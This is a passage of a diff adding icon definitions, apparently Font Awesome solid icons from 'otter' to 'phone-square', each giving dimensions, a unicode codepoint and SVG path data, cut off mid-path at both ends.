10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z"], + "otter": [640, 512, [], "f700", "M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z"], + "outdent": [448, 512, [], "f03b", "M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "pager": [512, 512, [], "f815", "M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z"], + "paint-brush": [512, 512, [], "f1fc", "M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z"], + "paint-roller": [512, 512, [], "f5aa", "M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z"], + "palette": [512, 512, [], "f53f", "M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "pallet": [640, 512, [], "f482", "M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z"], + "paper-plane": [512, 512, [], "f1d8", "M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z"], + "paperclip": [448, 512, [], "f0c6", "M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z"], + "parachute-box": [512, 512, [], "f4cd", "M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z"], + "paragraph": [448, 512, [], "f1dd", "M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z"], + "parking": [448, 512, [], "f540", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z"], + "passport": [448, 512, [], "f5ab", "M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z"], + "pastafarianism": [640, 512, [], "f67b", "M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z"], + "paste": [448, 512, [], "f0ea", "M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z"], + "pause": [448, 512, [], "f04c", "M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z"], + "pause-circle": [512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z"], + "paw": [512, 512, [], "f1b0", "M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z"], + "peace": [496, 512, [], "f67c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z"], + "pen": [512, 512, [], "f304", "M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z"], + "pen-alt": [512, 512, [], "f305", "M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z"], + "pen-fancy": [512, 512, [], "f5ac", "M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z"], + "pen-nib": [512, 512, [], "f5ad", "M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z"], + "pen-square": [448, 512, [], "f14b", "M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z"], + "pencil-alt": [512, 512, [], "f303", "M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z"], + "pencil-ruler": [512, 512, [], "f5ae", "M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z"], + "people-arrows": [576, 512, [], "e068", "M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z"], + "people-carry": [640, 512, [], "f4ce", "M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z"], + "pepper-hot": [512, 512, [], "f816", "M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z"], + "percent": [448, 512, [], "f295", "M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z"], + "percentage": [384, 512, [], "f541", "M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z"], + "person-booth": [576, 512, [], "f756", "M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z"], + "phone": [512, 512, [], "f095", "M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z"], + "phone-alt": [512, 512, [], "f879", "M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z"], + "phone-slash": [640, 512, [], "f3dd", "M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"], + "phone-square": [448, 512, [], "f098", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 